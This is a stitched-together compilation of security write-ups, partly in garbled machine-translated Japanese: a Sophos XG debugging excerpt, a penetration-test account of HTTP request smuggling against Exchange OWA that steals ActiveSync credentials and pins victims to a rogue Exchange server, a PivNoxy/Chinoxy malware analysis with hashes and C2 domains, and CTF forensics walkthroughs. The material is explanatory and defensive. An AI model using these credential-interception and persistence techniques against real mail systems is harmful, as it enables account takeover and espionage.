(2)替換csc通過ssh登錄，上傳新的文件csc，保存至/tmp/csc

備份csc並進行替換，執行以下命令：

image.png

(3)確認配置文件是否導出成功等待系統重啟，進入底層shell，依次輸入5.Device Management-3.Advanced Shell

查看文件夾/var/aaaaa，如下圖：

image.png

配置文件導出成功。

(4)恢復csc image.png

(5)下載配置文件通過ssh登錄，下載文件夾/var/aaaaa中的內容。

0x06 Postgresql數據庫查詢查看端口信息，執行命令：netstat -tulpen |grep postgres

輸出：

image.png

通過搜索，發現以上三個數據庫的連接信息依次對應以下三個文件：

马云惹不起马云 /usr/share/webconsole/properties/ConnectionPool.cfg

马云惹不起马云/usr/share/webconsole/properties/ConnectionPoolForReports.cfg

马云惹不起马云/usr/share/webconsole/properties/ConnectionPoolForSignature.cfg

文件中的配置信息如下：

马云惹不起马云JDBCConnectionURL=jdbc:postgresql://127.0.0.1:5432/corporate?user=pgrouserautoReconnect=true

马云惹不起马云JDBCConnectionURL=jdbc:postgresql://127.0.0.1:5433/iviewdb?user=pgrouserautoReconnect=true

马云惹不起马云JDBCConnectionURL=jdbc:postgresql://127.0.0.1:5434/signature?user=pgrouserautoReconnect=true

測試命令1：

image.png

輸出：

image.png

提示沒有權限。

測試命令2：

image.png

能夠獲得用戶信息。

注：將用戶pgrouser換成nobody具體相同的權限。

從以上信息得知，用戶pgrouser和nobody都不是root用戶，功能受限，下面嘗試尋找root用戶。

對解密的csc配置文件進行檢測，定位到\service\postgres.csc，關鍵文件內容：

image.png

找到關鍵用戶pgroot

測試命令3：

image.png

執行成功。

0x07 小結本文介紹了在搭建Sophos XG調試環境過程中一些問題的解決方法。

HireHackking

blog-header-845x321.png

利用面向公眾的服務是在網絡中獲得初步立足點的方法之一，這種情況在野外會經常看到。眾所周知，各種攻擊者都會濫用諸如緩衝區溢出(G0098)、SQL注入(G0087)或其他已知帶有功能利用代碼(G0016)的漏洞。

本文描述了一個HTTP請求走私(HRS)漏洞，這是我們在一次滲透測試中發現的。它可以用來模擬利用面向公眾的服務，同時在客戶的網絡中獲得初步立足點。在這個示例中，它允許我們獲取Active Directory憑據，從而用該憑據登錄到Outlook Web Access (OWA)查看敏感數據。

本文還會介紹如何通過將客戶端遷移到一個中間人Exchange服務器來獲得對OWA的持久訪問權。

HTTP請求走私HTTP請求走私(HRS)漏洞現在非常普遍。早在2005年，CGISecurity就發布了一份白皮書，詳細描述了漏洞是如何產生的，它會造成什麼後果，以及如何緩解它。如果你不確定HRS是如何工作的，我強烈建議你閱讀這篇白皮書或PortSwigger關於HRS的文章來熟悉一下。當網絡服務器和代理可以不同步時，就會出現HRS。攻擊者發送的請求在前端服務器和後端服務器上的解釋不同。例如，攻擊者發送一個特殊的請求，前端服務器將其解釋為1個請求，但後端服務器將其解釋為2個請求。第二個請求因此被“走私”通過前端服務器並最終到達後端服務器。正如PortSwigger 的James Kettle 所描述的，該請求的響應將被提供給下一位訪問者。

濫用HRS會極大地影響系統的保密性、完整性和可用性。正如一份負責任的披露中所公佈的，Evan Custodio 能夠通過濫用HRS 竊取cookie 來接管Slack 帳戶。其他示例包括New Relic上的憑據盜竊和美國國防部基礎設施上的用戶重定向。

在我們的例子中，HRS允許我們獲取Active Directory憑據，這將在下面的攻擊敘述中描述。這種攻擊敘述包含了從起初到最後的整個路徑。

識別代理基礎設施在一次滲透測試中，我們的目標是通過滲透客戶的數字基礎設施獲得初步立足點。由於自動掃描無法產生結果，我們很快進行了手動測試。包括Outlook Web Access (OWA) 在內的各種服務在使用GoBuster 工具對子域進行暴力破解時被識別。使用中的詞表由@bitquark 生成，包含100000 個最常用的子域。

1.png

在檢查這些服務時，我們發現我們正在與代理進行通信。有幾種方法可以檢測服務是否在代理之後運行。 Web 應用程序的一種常用技術是向應用程序發送以下請求，該請求的第一行包含另一個URI。

要求：

2.png

一般的web服務器會生成一個“421 Misdirected Request”響應。下麵包括一個示例。

響應：

3.png

然而，當我們在owa.customer.com上運行此操作時，服務器返回了以下響應，即302 Moved Temporarily。那時，我個人認為這種重定向是HTTP代理的典型行為。但是，後來我意識到它應該是帶有實際響應正文的200 OK 或203 Non-Authoritative Information，如RFC7230中所述。

響應：

4.png

但是，確實表明正在使用代理的是Server 標頭，其中server1 作為值。這是Microsoft IIS 服務器的非默認值。默認情況下，該值為Microsoft-IIS/8.5（或其他版本）。這表明，最有可能的是，代理更改了響應。

現在我們有了owa.customer.com被代理的跡象，我們可以繼續檢查它是否容易受到HRS的攻擊。

識別易受攻擊的代理設置考慮到James Kettle 的研究，我們著手調查這種設置是否可能容易受到HRS 的影響。為了確定owa.customer.com 是否容易受到HRS 的攻擊，我們發送了以下請求。

5.png

此請求的Content-Length 為124，即整個正文。它將被發佈到代理，代理將使用它來確定正文的長度為124 字節。然後將該請求轉發到實際的OWA 服務。

如果此設置易受HRS 攻擊，OWA 會以不同方式處理請求（使用分塊編碼而不是使用內容長度）。分塊編碼允許客戶端在正文中發送數據塊。在這種情況下，有一大塊數據。這是從十六進制數44開始的，如果轉換成十進制，就是68。這是塊的長度，可以在下一行中看到。在這68個字符之後，請求以一個大小為0的塊終止。這是OWA 接受的正常請求。

但是，終止後的部分未處理。 OWA 服務會將其視為代理（可能來自另一個用戶）發送的下一個請求的一部分。

這也適用於其他方式（如果代理使用分塊編碼而OWA 使用內容長度）。基礎設施易受HRS 攻擊的方式有多種。所有這些方式都在PortSwigger 的博客中進行了描述。實際上，我們使用的真正技巧是在傳輸編碼標頭之前插入了一個空格，Transfer-Encoding: chunked。雖然代理無法解析它並使用Content-Length 來確定正文長度。但是，OWA 能夠解析它並使用Transfer-Encoding 標頭來確定正文長度。

當我們執行上面的請求時，我們得到了來自服務器的以下響應。

6.png

可以看出，響應狀態為200 OK，表示我們的請求有效，服務器返回了有效響應。起初，我認為這意味著它沒有解釋我們正文的第二部分，因為它會產生一個400 Bad Request 響應狀態。我認為代理/OWA 設置很可能很容易受到攻擊。然而，經過進一步的研究，事實證明OWA 接受任何任意POST 數據。

更確定的驗證方法是在請求正文的第二部分檢查其他用戶是否收到了對我們請求的響應。由於我們正文第二部分中的請求通常返回301 Moved Permanently，因此現在應該將另一個用戶重定向到hacker.com 域，因為該用戶將重定向作為對他們請求的響應。為了驗證這一點，我們檢查了hacker.com的訪問日誌。它的重要部分已包含在下面。

7.png

事實上，事實證明它很脆弱！其中一位用戶被重定向到我們的hacker.com 域，這表明HRS 請求已成功執行。

查看訪問日誌，我認為發生了一些有趣的事情。在我看來，受害者實際上應該向hacker.com 的根或/owa 端點發出GET 請求，而不是向Microsoft-Server-ActiveSync 端點發出OPTIONS 請求，因為它被重定向了。但是，在查看RFC7231之後，很明顯接收到301 Moved Permanently 的客戶端可以為後續請求維護其請求方法和正文，就像308 Permanent Redirect 一樣，其中客戶端需要維護請求方法和主體。

總而言之，這意味著有可能從用戶那裡獲取更多信息，我們將在接下來的章節中介紹這些信息。

從hacker.com 的訪問日誌中可以看出，受害者試圖使用Microsoft-Server-ActiveSync 執行同步操作。 ActiveSync是一種HTTP 協議，它使用戶能夠從Exchange 服務器下載郵件，而不是使用僅使用戶能夠在Web 客戶端中查看郵件的OWA。

8.png

可以在各種郵件客戶端中配置ActiveSync，例如Apple Mail。正如Apple 連接到ActiveSync 端點的手冊中所見，用戶必須提供服務器、域、用戶名和密碼。這些詳細信息很可能會通過HTTP 請求發送到服務器。在配置期間或在每個請求中。

將憑據發送到服務器的時間實際上取決於在Exchange中配置的身份驗證類型。常見的身份驗證類型是“現代身份驗證”，它使用SAML協議，因此在使用用戶名和密碼進行初始身份驗證之後生成身份驗證令牌。身份驗證類型“基本身份驗證”是通過在每個HTTP請求中發送用戶名和密碼(base64編碼)進行身份驗證的一種方法。

如果Exchange 服務器配置為使用帶有基本身份驗證的ActiveSync，則用戶將在每個HTTP 請求中發送用戶名和密碼。由於我們能夠執行HRS，也許能夠截獲這些憑據！

盜取並使用憑據目前我們知道，一個成功的HRS攻擊可以將受害者重定向到一個惡意服務器，郵件客戶端維護請求方法，並且很可能還維護標頭和正文，並且我們還知道受害者在每個ActiveSync請求中發送base64編碼的憑據。這意味著我們馬上就要獲得這些證書了。

可以通過多種方式捕獲非法服務器上的請求標頭。為了進行概念驗證，我選擇使用Burp Collaborator，它充當HTTP和各種其他協議的所有捕獲服務器。

我更改了最初的HRS 請求，將受害者重定向到我的Burp Collaborator URI 而不是hacker.com。最後的請求包括在下面。

9.png

幾分鐘後，正如預期的那樣，Burp Collaborator捕獲了來自受害者的ActiveSync請求。

10.png

我們已經成功捕獲了包含受害者編碼憑據的授權標頭。

11.png

HRS攻擊如下圖所示。

12.png

將受害者的郵箱永久遷移到我們的非法交易服務器上

未記錄的功能作為滲透測試人員，我們想更深入地研究這一發現可能產生的影響。出於這個原因，我們從攻擊者的角度尋找進一步的選擇，其中最值得注意的是獲得對受害者憑據的永久訪問權限。事實證明，ActiveSync有一個功能，可以在用戶的郵箱從辦公場所遷移到Office365時自動更新郵件客戶端的配置。此功能的工作原理如下：

马云惹不起马云 客戶端嘗試通過HTTP ActiveSync 協議檢索郵件；

马云惹不起马云Exchange 會檢查用戶的郵箱是否存在或者是否遷移到Office365；

马云惹不起马云DC 返回未找到郵箱（這意味著已遷移）；

马云惹不起马云Exchange 嘗試獲取域的TargetOWAURL（郵箱所在的位置）；

马云惹不起马云DC 返回TargetOWAURL（在本例中為outlook.office365.com）；

马云惹不起马云Exchange 使用一個HTTP 451重定向到TargetOWAURL來響應客戶端；

马云惹不起马云客戶端將TargetOWAURL 用於所有未來的請求；

马云惹不起马云對TargetOWAURL 的HTTP ActiveSync 請求成功。

13.png

總而言之，如果Exchange服務器以451 Unavailable For Legal Reasons和X-MS-Location標頭相結合的方式響應，則受害者Exchange服務器配置會相應更新。下文包括此類響應的示例。

14.png

但是，使用我們的HRS 攻擊無法為受害者生成451 Unavailable For Legal Causes。只能生成301 Moved Permanently，因為這是將URI 添加到GET 請求的第一行時的響應。但是，我們可以使用301 Moved Permanently 將受害者重定向到非法服務器，該服務器隨後以451 Unavailable For Legal Reasons 響應非法交換服務器。如果我們確保非法交換服務器只是合法環境的代理，我們可以永久地在所有受害者的ActiveSync 請求中間人，而受害者不會注意到任何事情。攻擊過程如下。

15.png

將受害者的郵箱遷移到我們的非法交易所為了證明上述理論有效，我們將“受害者”（tgad.local\bob）連接到我們的演示環境；代理tgvmex01.proxy 後面的Exchange 服務器。 Bob 使用ActiveSync 連接。他的iOS Exchange 配置如下所示。

16.png

想要將Bob的郵箱遷移到非法交換服務器的攻擊者需要首先執行HRS攻擊，將Bob的ActiveSync請求重定向到非法服務器。下面提供了一個示例。

17.png

無論請求是什麼，服務器rogue-server.com 始終提供相同的響應。此響應包含在下面，並且響應標頭中的非法交換服務器具有451 Unavailable For Legal Reasons 狀態。

18.png

當Bob 成為HRS 攻擊的受害者時，他將收到非法服務器的451 Unavailable For Legal Reasons 響應。 Bob 的電子郵件客戶端會將服務器地址更改為rogue-exchange.remote，因為響應表明郵箱遷移到了這個Exchange 服務器。

最初的幾次嘗試都沒有成功。但是在連續嘗試了幾次之後，HRS攻擊最終觸發了Bob的同步請求，導致Bob的郵件客戶端將配置更改為非法交換。這可以在下面的Bob的Exchange設置中看到。

19.png

由於惡意交換器將所有請求代理給合法交換器，Bob不會注意到惡意配置更改(除非他查看自己的exchange設置)。作為一個攻擊者，我們現在能夠攔截他的所有ActiveSync請求，即使在Bob更改了他的憑據之後。

緩解措施存在多種針對HRS 漏洞的緩解措施。在理想情況下，代理服務器和後端服務器（在本例中為Exchange）都完全按照RFC7231中的說明解釋HTTP 請求。這將防止HRS 漏洞，因為兩個服務器都以相同的方式解釋HTTP 請求的邊界。

然而，我們並不是生活在一個理想的世界裡。更好的緩解措施是禁用代理和後端之間的http-reuse（一種性能優化），以便每個請求都通過單獨的網絡連接發送。此外，可以通過強制從代理到後端的HTTP/2 連接來緩解HRS，因為此版本的HTTP 協議中不會出現HRS 漏洞。

最後，我們強烈建議不要將基本身份驗證用作Exchange 的身份驗證方法。請改用現代身份驗證。使用現代身份驗證，攻擊者只能攔截oAuth令牌。

如果你認為自己是Exchange遭受HRS攻擊的受害者，請主動重置Exchange客戶端的配置和密碼。

HireHackking

最近，南亞的一家電信機構收到一封帶有可疑RTF 附件的簡短電子郵件，這引起了FortiGuard Labs 的注意。這封電子郵件偽裝成來自巴基斯坦政府部門的信息，目的是傳播PivNoxy 惡意軟件。

马云惹不起马云 受影響的平台：Windows

马云惹不起马云受影響方：Windows 用戶

马云惹不起马云影響：控制受害者的設備並收集敏感信息

马云惹不起马云嚴重性級別：中等

攻擊概述攻擊始於一封簡單的電子郵件，其中只附上了一份文件作為附件：

fig1.webp.jpg

攻擊中使用的魚叉式釣魚電子郵件

附件文件為RTF格式。它是使用一種名為Royal Road 的工俱生成的，這是一種網絡釣魚“武器”，被多個亞洲APT 攻擊組織使用。 Royal Road 也稱為8.t RTF 漏洞利用構建器，允許APT 組織創建帶有嵌入式對象的RTF 文件，這些對象可以利用Microsoft Word 中的漏洞來感染目標。 Royal Road 支持的一些已知漏洞包括：

马云惹不起马云CVE-2017-11882（Microsoft Office 內存損壞漏洞）；

马云惹不起马云CVE-2018-0802（Microsoft Office 內存損壞漏洞）；

马云惹不起马云CVE-2018-0798（Microsoft Office 內存損壞漏洞）；

打開電子郵件附件“Please help to CHECK.doc”，會打開一個誘餌Word 文件。同時，它在後台利用CVE-2018-0798。 CVE-2018-0798 是Microsoft 公式編輯器(EQNEDT32) 中的一個遠程代碼執行(RCE) 漏洞。 Microsoft 於2018 年1 月9 日為其發布了修復程序。攻擊者仍在針對此漏洞的事實表明，並非所有組織都部署了關鍵補丁或升級到最新軟件。事實是，舊的漏洞仍然普遍且成功地被利用。

fig2.webp.jpg

攻擊中使用的誘餌Word 文件。請注意，文件中顯示的亂碼可能是我們的測試設備不支持該語言的結果

執行後，這個惡意文件會釋放三個文件：

C:\\ProgramData\Cannon\Cannondriver.exe；

C:\\ProgramData\Cannon\LBTServ.dll；

C:\\ProgramData\Cannon\Microsoft.BT；

儘管文件名是假的，但Cannondriver.exe是一個合法的羅技文件LBTWizGi.exe，全稱是“羅技藍牙嚮導主機進程”。 Cannondriver.exe 甚至由頒發給羅技的證書進行數字簽名的。

fig3.webp.jpg

Cannondriver.exe 的合法版本

另一方面，LBTServ.dll 文件沒有經過數字簽名。這就是有趣的地方。 “Cannondriver.exe”容易受到LBTServ.dll 所利用的DLL 搜索順序劫持攻擊。請注意，此攻擊中使用的“LBTServ.dll”樣本的編譯時間為Sun July 18 02:04:24 2021 GMT。這意味著這個小組在他們需要使用這個變體之前就創造了它。這表明，他們要么在近一年前就準備好攻擊目標，要么已經開始囤積惡意軟件，隨時準備發動攻擊。最近的Chinoxy 樣本一直沒有被發現，就是這個道理。

fig4.webp.jpg

Cannondriver.exe 中的DLL 搜索順序劫持

上圖是在Cannondriver.exe中找到的部分代碼。基本上，它調用名為LGBT_Launch的導出，該導出位於LBTServ.dll 中。

fig5.webp.jpg

LBTServ.dll 內部

在Cannondriver.exe 加載偽造的LBTServ.dll 並調用LGBT_Launch 函數後，惡意函數就加載了另一個被釋放的文件Microsoft.BT ，並繼續對其進行解密。攻擊鏈類似於Chinoxy 後門使用的攻擊鏈，後者也使用Cannondriver.exe 加載惡意LBTServ.dll 以傳遞其有效負載。

然而，目前發送給南亞電信機構的這種變體提供的最終有效負載與其之前的版本略有不同。它不是包含最終有效負載的LBTServ.dll，而是從單獨的文件加載shellcode 並將自身注入到svchost.exe 中。然後它聯繫instructor[.]giize[.]com，這是一個動態DNS，將連接重定向到攻擊者託管有效負載的IP。不幸的是，在調查時沒有遠程文件可用。幸運的是，nao_sec 的一條推文將PoisonIvy 惡意軟件識別為有效負載。

fig6.webp.jpg

nao_sec 於2022 年5 月12 日發布的推文

PoisonIvy 是一種遠程訪問木馬(RAT)，早在十多年前就被發現。 RAT 也稱為Pivy，活躍在地下論壇中，允許攻擊者控制受感染的設備並通過其GUI 執行偵察活動。

FortiGuard Labs 之前發布了兩篇博客，詳細介紹了PoisonIvy 的工作原理：

Poison Ivy 新變種的深度分析；

新Poison Ivy/PlugX 變體的深度分析；

這些博客中介紹的PoisonIvy RAT 變體執行橫向移動。因此，PoisonIvy 的一次感染可能會導致信息從受影響組織中的各種設備中提取。

誰是幕後黑手眾所周知PoisonIvy 已被用於針對性攻擊，但要識別針對南亞電信組織的行動背後的攻擊者並非易事。這是由於報告的使用RAT 的攻擊組織的數量及其廣泛的可用性造成的。

我們對攻擊者的好奇導致了另一個lbtserver.dll (SHA2: 719f25e1fea12c8dc573e7161458ce7a5b6683dee3a49bb21a3ec838d0b35dd3)，該文件於2022年1月從法國提交給VirusTotal。該文件被SHA2文件cdf417e67b0aaf798ac7c0f9ccb8b5b21f09b408ee6748beea5e03e76902e7fe釋放。

研究人員的分析表明，該文件的行為與發送給目標機構的電子郵件中的文件類似。它創建一個文件夾(c:\windows\tasks) ，並將配置和PE 文件放入其中。釋放的可執行文件unio.exe 與偽裝成Cannondriver.exe 的合法簽名Logitech 文件相同。 在我們正在調查的攻擊中，union .exe加載了另一個被釋放的文件lbtserver .dll。在本文所述的樣本中，LBTServ.dll 包含完整的後門有效負載，而不是加載一個shellcode來下載它。這個LBTServ.dll 文件還利用了DLL搜索順序劫持，有8 個虛假導出，還有一個名為LGBT_Launch 的惡意導出。這使研究人員相信，這兩種攻擊最有可能來自攻擊組織，但根據向VirusTotal提交文件的日期，這兩種攻擊可能發生在2022年1月。

更有趣的是，719f25e1fea12c8dc573e7161458ce7a5b6683dee3a49bb21a3ec838d0b35dd3的編譯時間是“2016-07-09 12:49:34 UTC”，而其滴管(SHA2: cdf417e67b0aaf798ac7c0f9ccb8b5b21f09b408ee6748beea5e03e76902e7fe)的編譯時間大約是29秒後，時間是2016-07-09 13:18:11 UTC。這些數據表明，該攻擊組織至少自2016年年中以來一直很活躍。

PivNoxy 和Chinoxy的漸變史現在，讓我們將看看這個攻擊組織使用的技術的漸變史。具體來說，我們將重點介紹他們使用的一個文件，即羅技藍牙嚮導主機進程。這個合法簽名的文件包含一個DLL 搜索順序劫持漏洞。 APT 組織通過創建自己的惡意“LBTServ.dll”文件來利用此漏洞，以便在執行真正的羅技進程時加載。隨著時間的推移，這個惡意DLL已經演變成使用不同的技術。攻擊鏈通常以包含附件的電子郵件開始。附件本身包含一個可執行文件，執行時會釋放惡意DLL、合法的羅技可執行文件以及惡意軟件使用的任何相關文件。

下面是攻擊組織使用上述技術來傳遞Chinoxy、PivNoxy 和最近的Chinoxy 變體的dropper 惡意軟件的時間線。

fig7.webp.jpg

基於文件編譯時間的dropper 惡意軟件示例

從時間軸上可以看到，在2021年第三季度，攻擊者將他們的武器庫從PivNoxy 切換到了Chinoxy 的新變體，該變體從文件中解密和加載shellcode ，並下載下一個有效負載。 Chinoxy到PivNoxy的轉換發生在2020年第二季度的某個時候。

FortiGuard Labs 發現，從2016 年年中到2018 年底，“lbtserver .dll”一直被稱為Chinoxy的變體。在這種情境中，惡意DLL 會加載一個名為“k1.ini”的外部配置文件。

fig8.webp.jpg

Chinoxy使用的配置文件

這個配置文件通常包含一個base64 字符串，它原來是Chinoxy 使用的C2 服務器。

9.png

從Chinoxy配置文件解碼的Base64值

“備註”字段包含攻擊的大致日期。根據其源數據，這個Chinoxy DLL 樣本(SHA2: 719f25e1fea12c8dc573e7161458ce7a5b6683dee3a49bb21a3ec838d0b35dd3) 編譯於格林威治標準時間2016 年7 月9 日星期六12:49:34。主要的dropper (SHA2: cdf417e67b0aaf798ac7c0f9ccb8b5b21f09b408ee6748beea5e03e76902e7fe) 本身是在2016-07-09 13:18:11 GMT 編譯的。存活時間似乎只有幾天。 Chinoxy作為一個後門從被感染的電腦中收集數據。有趣的是，同一個C2 服務器已經使用了兩年多。分析表明，該服務器的絕大多數流量來自印度。

直到該組織決定返回前的2020 年底和2021 年初，情況一直相對平靜。該組織回歸後，首先開始瞄準東南亞的遊戲玩家。 NoxPlayer 是一個Android 模擬器，與許多程序一樣，它會聯繫服務器以檢查更新。然而，APT 組織並沒有通過電子郵件附件傳遞他們的惡意軟件，而是改變了攻擊策略，並以某種方式破壞了NoxPlayer 的更新鏈。向東南亞遊戲玩家發送了一個虛假的更新包。

與Chinoxy 示例類似，此PivNoxy 變體（SHA2：5c2a6b11d876c5bad520ff9e79be44dfbb05ee6a6ff300e8427deab35085bef6）使用一個偽造的更新包來解壓多個文件，包括濫用針對羅技的相同DLL 搜索順序劫持技術的文件。然而，在本示例中，“LBTServ.dll”被用來傳遞比之前的迭代更強大的惡意軟件，PivNoxy 通過惡意DLL 傳遞PoisonIvy RAT。雖然其他供應商報告受感染的計算機是來自東南亞的遊戲玩家，但研究人員的分析表明，更多受感染的遊戲玩家來自墨西哥。

此時，該攻擊組織再次決定隱身。一直到2022 年5 月，該組織偽裝成來自巴基斯坦政府部門，向南亞的一個電信組織的發送魚叉式網絡釣魚電子郵件。而這一次，它試圖傳播一個新的Chinoxy 惡意軟件變種。

上面提到的dropper 惡意軟件(SHA2: cdf417e67b0aaf798ac7c0f9ccb8b5b21f09b408ee6748bea5e03e76902e7fe) 已向goog1eupdate[.]com 發起了攻擊。根據FortiGuard過去六個月收集的追踪數據，近70%的攻擊來自墨西哥，近22%來自印度。 Chinoxy變體在2016年至2018年期間也使用了該域名。

研究人員還發現了三個類似的樣本連接到frontbeauty[.]dynamic-dns[.]net、beautygirl[.]dynamic-dns[.]net 和784kjsuj[.]dynamic-dns[.]net。在過去的六個月裡，對這三個域的所有訪問都來自印度。由於它們是動態DNS，因此並非所有連接都可以視為與攻擊組織有關。然而，2020 年11 月發布的Bitdefender 報告將域“goog1eupdate[.]com”描述為APT 組織的IOC 的一部分，該組織使用FunnyDream 後門作為其工具集的一部分，主要針對東南亞。訪問另一個C2 地址“mfaupdate[.]com”主要來自墨西哥和印度，而“ru[.]mst[.]dns-cloud[.]net”主要來自以色列和烏克蘭。根據安全研究員Sebastien Larinier 的說法，ru[.]mst[.]dns-cloud[.]net 被吉爾吉斯斯坦的攻擊組織使用。此外，NTT Security 發布的一篇研究報告介紹了另一台C2 服務器“eofficeupdating[.]com”，攻擊者將其用作Smanager 惡意軟件的C2 服務器，該惡意軟件用於主要攻擊越南。

總結針對南亞一家電信機構的攻擊始於一封簡單的電子郵件，該電子郵件最初似乎是標準的惡意垃圾郵件。但是，附加的Word 文件是含有Royal Road 惡意負載，可對公式編輯器漏洞(CVE-2018-0798) 利用。雖然在調查時沒有有效負載，但OSINT 研究向了FortiGuard Labs 之前強調的Poison Ivy RAT。

根據我們的分析，亞洲組織以及可能在墨西哥的一些組織是攻擊組織的目標，我們認為該攻擊組織也參與了2021 年的NightScout 行動。這個使用Chinoxy和PivNoxy的組織至少從2016年年中開始活躍。

HireHackking

1。データセキュリティ問題解決競争

1。 DS_0602

在这里插入图片描述

解決策の解決策は、暗号化されたファイルで元のデータを取得し、復号化し、6行目と2番目の列にデータを送信し、添付ファイルをダウンロードして、2つのファイルがあることを確認します。ここでは、「.enc」で終わるファイルの種類を簡単に理解する必要があります。在这里插入图片描述

簡単に言えば、「.enc」で終わるファイルは、通常、暗号化されたファイルです。具体的には、ファイル拡張子".enc"は特定のファイルタイプではなく、ファイルコンテンツが暗号化されていることを示す一般識別子を表します。質問が私たちを要求することは明らかです。次に、ここで右クリックしてメソッドを開き、「メモ帳」を選択して分析を開きます。それを得る;在这里插入图片描述

簡単な分析の後、それが「base64暗号化」であることは明らかであるため、ここにデコードを可能にする質問があります。そのため、オンラインの「base64」デコードを見つける必要があります。繰り返しになりますが、なぜそれがここで「base64エンコード」であることを確認できるのですか？ベース機能。エンコード長：3バイナリデータ（24ビット）ごとに、4つのASCII文字（文字あたり6ビット）にエンコードされます。エンコードされた長さは通常、元のデータの長さの1.33倍、つまり元のデータ長の4/3です。文字セット：Base64エンコーディング次の64文字で構成される文字セット：大文字：A-Z小文字：A-Z番号：0-9 2つのシンボル： +および /いくつかの実装では、 - +は - 、/_と交換することができます（通常はURL-Safe base64エンコードに使用されます）。入力データのバイト数が3の倍数ではない場合、エンコードされた結果は=4の長さを記号にして記号で満たされます。1つの等記号は3つ以上の1で割ったものを示します。オンラインbase64デコード、get;在这里插入图片描述

タイトルに記載されている「6行目と2番目の列データ」は、ここで6行のデコードを直接コピーできます。在这里插入图片描述

この時点で;フラグ{767378199223105126}

2、333.file

在这里插入图片描述

添付ファイルをダウンロードして問題を解決し、「.wav」で終了するオーディオを取得するために減圧します。 「Deepsound」、「Silenteye」、および「Audacity」に投げ込まれます。それは実りがありません。この時点では、「010」を使用して開き、分析して、「フラグ」や「zip」キーワードなどの重要な情報があるかどうかを確認する必要があります。また、「kali」に投げ込み、「binwalk」を使用して分析して、分離できるファイルがあるかどうかを確認することもできます。 「Deepsound」は無益です。在这里插入图片描述

「Silenteye」には効果がありません。在这里插入图片描述

「Audacity」には結果がありません。在这里插入图片描述

それから、私がしばらくできることは何もありません。 「kali」にしか投げませんでした。「binwalk」を使用して分析するだけです。実際に壊れた「ジップ」があることがわかりましたが、「binwalk -e」を使用するだけでは抽出するのに十分ではありません。ここでは、「foremost -i」を使用しようとします（原則はbinwalk -eに似ていますが、抽出方法を変更しました。興味のあるマスターは、2つの違いについて学ぶことができます。ここではこれ以上強調しません）。コマンドを使用します。 binwalk -e 333.wav - run-as=rootは在这里插入图片描述を取得します

「最初の-I」で正常に抽出しました。私たちがそれを開いたとき、私たちはそれが「ビンウォーク」を使用して分析した「zip」であることがわかりませんでしたが、「.wav」で終わる別のオーディオです。ただし、簡単な分析により、このオーディオは以前のオーディオではないことがわかりました。最も簡単な分析方法は、サイズが異なることです。したがって、ここでは、上記のように基本的な共通「.WAV」分析ツールを使用しており、最終的に「Audacity」で重要な情報を見つけました！コマンドを使用します。 foremost -i 333.wav -o/root/desktop/123 -t get 在这里插入图片描述

分離されたファイルを開いて2つのオーディオを取得し、簡単に分析します。在这里插入图片描述

最後に、2番目のオーディオ "00006606.wav"の「Audacity」の「スペクトログラム」が重要な情報で発見されました！在这里插入图片描述

重要な情報を取得します。パス：STEGO0626;また、ここでも明らかです。特定のパスワードでなければなりません。結局のところ、それは「パス」であるため、ここで分析することは何もないことは言うまでもなく、基本的にあなたが見つけることができるすべてのものは試されているが、それらのどれも機能しないからです。しかし、ここで私は突然、「ビンウォーク」を使用して分析すると、内部に壊れた「ジップ」がありましたが、それは正常に分離されていませんでした。 「010」を使用して単純に見つけて、この「zip」が不完全であるかどうかを確認することができます。これは、「最も重要な」または「ビンウォーク」の壊れた使用を直接分離できず、手動で分離する必要があるためです。 「010」を使用して、「zip」（zipの16進数——504b0304）在这里插入图片描述を分析して見つけます

簡単に見ると、重要な情報「フラグ」は実際に私たちが考えているフラグであることがわかりましたが、このzipにはメインヘッドが欠けているようです。これは私たちが探した「504b0304」の始まりです。私たちがそれを知らないかどうかは関係ありません。比較として、通常の「zip」を使用することができます。通常の「zip」16進表現。在这里插入图片描述

通常の「zip」に最初に「504b0304」が実際に含まれていることを見るのは難しくありませんが、ここには存在しませんでした。それでは、それを直接保存して、正常に開くのが難しいかどうかを確認しましょう。 「010」で「新しいヘックスファイルを作成」し、貼り付けの段落全体を選択します。在这里插入图片描述

「zip」のメインコンテンツを選択し、右クリックしてコピーします。在这里插入图片描述

もちろん、ここの頭には「zip」が欠落しているため、後で挿入する必要がある場合に備えて、「zip」があります。

貼り付けて、フォーマットを保存するために「zip」を選択します。あなたがそれを見つけるのを防ぐために、保存場所に注意してください。在这里插入图片描述

最後に、「zip」を開くにはパスワードが必要です。次に、以前に抽出されたパスワードを入力して、「Pass：Stego0626」を開きます。在这里插入图片描述

右クリック「メモ帳」を選択して、分析のために空白のファイルを開くことができます。在这里插入图片描述

それは私たちが必要とする旗ではなかったことがわかったが、それは問題ではなかった。 「010」を選択して開き、分析して取得できます。在这里插入图片描述

この「フラグ」ブランクファイルのヘッダーは、「78 9C 4B CB」から始まることがわかりました。一般的に言えば、16進78 9C 4B CBで始まるファイルは、通常、ZLIB圧縮アルゴリズムを使用して圧縮されたファイルです。そのため、「Zlib」接尾辞を直接追加してから、「binwalk -e」を使用して分離し、最後にフラグを見つけてコマンドを使用できます。 binwalk -e flag.zlib - run-as=rootに正常に分離された在这里插入图片描述

分析のために分離されたファイルを開き、最終的にフラグを正常に取得します。在这里插入图片描述

この時点で;フラグ{81633464866E622D275C309B22CB907B}ここでの分離は唯一の方法ではありません。「cyberchef」を使用して「Zlib」をデコードし、フラグをデコードすることもできます。在这里插入图片描述

3。 PFファイル分析

在这里插入图片描述

問題を解決するための質問がたくさんあります。しかし、重要なポイントを見つけることができます。簡単に言えば、最も使用されているソフトウェア名を見つけて送信しましょう。したがって、ここでは、まず「PF」ファイルが何であるかを簡単に理解する必要があります。

PFファイル（Prefetchファイル）は、Windowsオペレーティングシステムのキャッシュファイルであり、アプリケーションの起動をスピードアップするために使用されます。 Windowsでアプリケーションを実行するたびに、システムはアプリケーションに関連付けられたPFファイルを作成または更新します。このファイルは、ロードされたDLL、ファイルパス、その他の情報など、プログラムを開始するために必要なリソースを記録します。主な機能：ストレージ場所：PFファイルは通常、C: \ Windows \ Prefetchディレクトリに保存され、ファイル名形式はプログラム名Hash 